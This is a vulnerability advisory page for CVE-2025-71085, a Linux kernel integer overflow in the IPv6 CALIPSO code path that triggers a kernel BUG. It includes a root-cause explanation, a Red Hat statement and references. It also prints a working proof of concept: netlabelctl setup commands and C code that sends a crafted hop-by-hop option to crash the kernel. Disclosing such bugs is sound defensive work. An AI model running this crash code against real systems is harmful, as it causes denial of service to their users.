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HIGH

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Published Jan 13, 2026

Description

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using `netlabelctl` tool:

netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7

Then run the following PoC:

int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

// setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0;

// setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337;

// setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

sendmsg(fd, &msg, 0);

Affected products

Remediation

Red Hat statement

This vulnerability allows an unprivileged user to trigger a kernel BUG by causing an integer overflow in the headroom calculation used by skb_cow(), which results in a negative size passed to pskb_expand_head(). The kernel subsequently hits a reachable BUG_ON() and crashes, leading to a reliable denial-of-service condition. In worst-case scenarios, this path may be reachable via crafted IPv6 traffic with CALIPSO options.

Red Hat mitigation

Mitigation for this issue is either not available or the currently available options don't meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.

Metrics

Weaknesses (2)

CWE-190

Integer Overflow

CWE-617

References (13)

Change history (0)

No recorded changes yet.

Sources
CVE.org / MITRE
Status PUBLISHED
Assigner Linux
Published Jan 13, 2026
Updated Sep 8, 2026
Reserved Jan 13, 2026
Link CVE-2025-71085
CISA Vulnrichment
Updated Jun 10, 2026
NVD
Status Modified
Modified Jul 30, 2026
Link CVE-2025-71085
Red Hat
Severity Moderate
Public date Jan 13, 2026
Links CVE-2025-71085 - Bugzilla